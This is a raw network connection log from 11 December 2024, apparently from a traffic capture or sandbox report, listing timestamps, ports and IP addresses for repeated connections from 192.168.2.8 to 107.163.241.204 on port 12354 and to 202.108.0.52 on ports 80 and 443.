Dec 11, 2024 16:29:18.126435041 CET	80	52919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.186101913 CET	12354	53003	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.186543941 CET	53003	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.188076019 CET	12354	53003	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.190110922 CET	53318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.190284014 CET	53003	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.225712061 CET	80	53211	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.225810051 CET	53211	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.226679087 CET	53211	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.309467077 CET	12354	53003	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.311325073 CET	12354	53318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.311427116 CET	53318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.311484098 CET	12354	53003	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.313230038 CET	53318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.346586943 CET	80	53211	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.346716881 CET	53211	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.347332001 CET	53211	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.364645004 CET	80	53211	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.433219910 CET	12354	53318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.433284044 CET	53318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.433654070 CET	53318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.434144974 CET	53515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.434231997 CET	12354	53318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.462310076 CET	53543	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.466032982 CET	80	53211	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.466640949 CET	80	53211	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.553180933 CET	12354	53318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.553491116 CET	12354	53318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.554011106 CET	12354	53515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.554094076 CET	53515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.559232950 CET	53515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.583393097 CET	80	53543	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.583496094 CET	53543	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.584212065 CET	53543	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.679625988 CET	12354	53515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.703234911 CET	80	53543	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.703336954 CET	53543	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.703855038 CET	80	53543	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.705816031 CET	53543	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.817168951 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.822731018 CET	80	53543	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.825186014 CET	80	53543	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.936764002 CET	80	53910	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.936871052 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.937128067 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:19.060194016 CET	80	53910	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:19.976809978 CET	12354	52917	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:19.979290009 CET	52917	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.028558016 CET	52917	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.029577017 CET	54762	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.157474995 CET	12354	52917	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.157494068 CET	12354	54762	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.157630920 CET	54762	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.287883043 CET	12354	54762	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.287960052 CET	54762	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.311939955 CET	54762	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.311985970 CET	54762	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.411533117 CET	54764	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.439135075 CET	12354	54762	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.439196110 CET	12354	54762	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.515089035 CET	80	53910	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:20.515182018 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:20.533699036 CET	12354	54764	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.533787012 CET	54764	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.535079002 CET	54764	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.535695076 CET	54801	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:20.535737038 CET	443	54801	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:20.535986900 CET	54801	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:20.536673069 CET	54801	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:20.536685944 CET	443	54801	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:20.659097910 CET	12354	54764	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.661109924 CET	12354	53515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.661489964 CET	53515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.661489964 CET	53515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.661993980 CET	54902	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.901175976 CET	12354	53515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.901230097 CET	12354	54902	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:20.901395082 CET	54902	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:20.901873112 CET	54902	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.048753023 CET	12354	54902	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.048823118 CET	54902	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.050637007 CET	12354	54902	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.050992012 CET	54902	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.051332951 CET	55318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.174004078 CET	12354	54902	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.181377888 CET	12354	54902	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.181401014 CET	12354	55318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.181467056 CET	55318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.181930065 CET	55318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.304136992 CET	12354	55318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.304224014 CET	55318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.304250002 CET	12354	55318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.304821968 CET	55318	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.305258036 CET	55506	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.423783064 CET	12354	55318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.424215078 CET	12354	55318	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.434580088 CET	12354	55506	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.434674978 CET	55506	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.434983969 CET	55506	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.561943054 CET	12354	55506	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.598530054 CET	54764	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.598543882 CET	54801	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.598563910 CET	55506	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.599206924 CET	55795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.710665941 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.711005926 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.711163998 CET	55847	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.728317976 CET	12354	55795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.728385925 CET	55795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.729103088 CET	55795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.847305059 CET	80	55846	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:21.847331047 CET	12354	55847	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.847397089 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.847423077 CET	55847	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.848150969 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.848459959 CET	55847	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.849203110 CET	80	53910	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:21.850236893 CET	53910	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:21.870940924 CET	12354	55795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.871565104 CET	12354	55795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.872652054 CET	55986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.990566969 CET	80	55846	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:21.990577936 CET	12354	55847	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.993211985 CET	12354	55986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:21.993283987 CET	55986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:21.994684935 CET	55986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:22.121104002 CET	12354	55986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:22.124151945 CET	12354	55986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:22.132388115 CET	56236	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:22.257332087 CET	12354	56236	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:22.257417917 CET	56236	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:22.257740974 CET	56236	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:22.387788057 CET	12354	56236	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:23.438570023 CET	80	55846	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:23.438628912 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:23.442715883 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:23.442750931 CET	443	56648	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:23.442804098 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:23.443290949 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:23.443301916 CET	443	56648	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:23.988816023 CET	12354	55847	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:23.988895893 CET	55847	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:23.989182949 CET	55847	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:23.989613056 CET	57119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.111587048 CET	12354	55847	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.113517046 CET	12354	57119	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.113605976 CET	57119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.114214897 CET	57119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.238928080 CET	12354	57119	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.364171028 CET	12354	56236	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.364382029 CET	56236	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.364734888 CET	56236	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.365184069 CET	57557	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.501013041 CET	12354	56236	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.501030922 CET	12354	57557	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:24.501116037 CET	57557	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.502178907 CET	57557	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:24.669862032 CET	12354	57557	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:25.147047043 CET	443	56648	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.147114038 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.147893906 CET	443	56648	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.147943974 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.156785011 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.156820059 CET	443	56648	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.156868935 CET	56648	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.581293106 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.581604958 CET	58336	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.701314926 CET	80	55846	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.701543093 CET	55846	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.703478098 CET	80	58336	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.703553915 CET	58336	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.840106010 CET	80	58336	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:25.840157032 CET	58336	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.868182898 CET	57119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:25.868208885 CET	57557	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:25.868236065 CET	58336	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:25.925004005 CET	58338	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:25.990595102 CET	80	58336	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.045902014 CET	12354	58338	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.045959949 CET	58338	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.052881956 CET	58338	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.061860085 CET	58355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.179101944 CET	12354	58338	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.179117918 CET	12354	58338	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.180946112 CET	58403	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.184108973 CET	12354	58355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.184245110 CET	58355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.185801029 CET	58355	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.220781088 CET	58420	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.303409100 CET	12354	58403	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.303505898 CET	58403	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.304007053 CET	58403	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.322227955 CET	12354	58355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.323374033 CET	12354	58355	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.340444088 CET	80	58420	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.340507984 CET	58420	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.345493078 CET	58420	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.345666885 CET	58454	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.432152033 CET	12354	58403	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.432538986 CET	58403	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.445445061 CET	12354	58403	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.452433109 CET	58403	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.463732004 CET	80	58420	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.463799000 CET	58420	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.485043049 CET	58420	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.487103939 CET	80	58420	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.487118006 CET	12354	58454	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.487248898 CET	58454	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.497992039 CET	58454	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.498960972 CET	58458	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.574037075 CET	12354	58403	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.579226017 CET	12354	58403	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.597925901 CET	58600	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.613599062 CET	80	58420	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.614516020 CET	80	58420	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.618329048 CET	12354	58454	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.618459940 CET	58454	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.618694067 CET	58454	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.618904114 CET	58627	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.625397921 CET	12354	58454	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.625416040 CET	12354	58458	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.625531912 CET	58458	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.626418114 CET	58458	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.825362921 CET	80	58600	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.825496912 CET	58600	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.826033115 CET	58600	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:26.904649019 CET	12354	58454	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.904687881 CET	12354	58454	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.904728889 CET	12354	58627	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.904763937 CET	12354	58458	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:26.904829979 CET	58627	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.905268908 CET	58627	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:26.945348978 CET	80	58600	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:26.945832014 CET	80	58600	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:27.024492025 CET	12354	58627	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:27.052287102 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:27.173538923 CET	80	59082	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:27.173614025 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:27.173921108 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:27.293180943 CET	80	59082	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:28.737030983 CET	80	59082	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:28.737109900 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:28.741641045 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:28.741674900 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:28.741725922 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:28.743340015 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:28.743350983 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:28.895204067 CET	12354	58458	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:28.895267963 CET	58458	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:28.895504951 CET	58458	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:28.895840883 CET	60093	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.015460968 CET	12354	58458	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.015476942 CET	12354	60093	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.015559912 CET	60093	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.015947104 CET	60093	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.038357973 CET	12354	58627	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.038461924 CET	58627	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.039081097 CET	58627	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.039416075 CET	60268	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.138338089 CET	12354	60093	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.158679962 CET	12354	58627	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.158695936 CET	12354	60268	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:29.158765078 CET	60268	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.161752939 CET	60268	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:29.281291962 CET	12354	60268	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:30.437016964 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.437378883 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.437793016 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.438402891 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.441171885 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.441201925 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.441318035 CET	443	59988	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.441337109 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.441427946 CET	59988	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.501039028 CET	60268	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.501748085 CET	60093	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.502031088 CET	61703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.621260881 CET	12354	61703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:30.621383905 CET	61703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.622137070 CET	61703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.677103996 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.677697897 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.741461992 CET	12354	61703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:30.787925959 CET	61955	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.796667099 CET	80	59082	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.796894073 CET	80	61898	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.796916008 CET	59082	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.798896074 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.800115108 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:30.908694029 CET	12354	61955	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:30.908860922 CET	61955	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:30.919579029 CET	80	61898	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:30.931054115 CET	61955	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:31.050776958 CET	12354	61955	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:32.361012936 CET	80	61898	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:32.361078978 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:32.368016958 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:32.368046045 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:32.368149996 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:32.368432045 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:32.368442059 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:32.747395039 CET	12354	61703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:32.747482061 CET	61703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:32.748498917 CET	61703	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:32.749279976 CET	64100	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:32.870663881 CET	12354	61703	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:32.871140957 CET	12354	64100	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:32.871212959 CET	64100	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:32.871606112 CET	64100	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:32.993551970 CET	12354	64100	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:33.020412922 CET	12354	61955	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:33.020478964 CET	61955	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:33.021053076 CET	61955	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:33.021617889 CET	64219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:33.141182899 CET	12354	61955	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:33.141216993 CET	12354	64219	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:33.141271114 CET	64219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:33.145946980 CET	64219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:33.265465975 CET	12354	64219	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:34.302879095 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.302983999 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.303010941 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.303070068 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.306355000 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.306509972 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.312226057 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.312294960 CET	443	63657	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.313554049 CET	63657	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.430232048 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.430560112 CET	49248	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.551604033 CET	80	49248	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.551630974 CET	80	61898	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.551712036 CET	49248	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.551762104 CET	61898	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.551951885 CET	49248	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.626255035 CET	49248	80	192.168.2.8	202.108.0.52
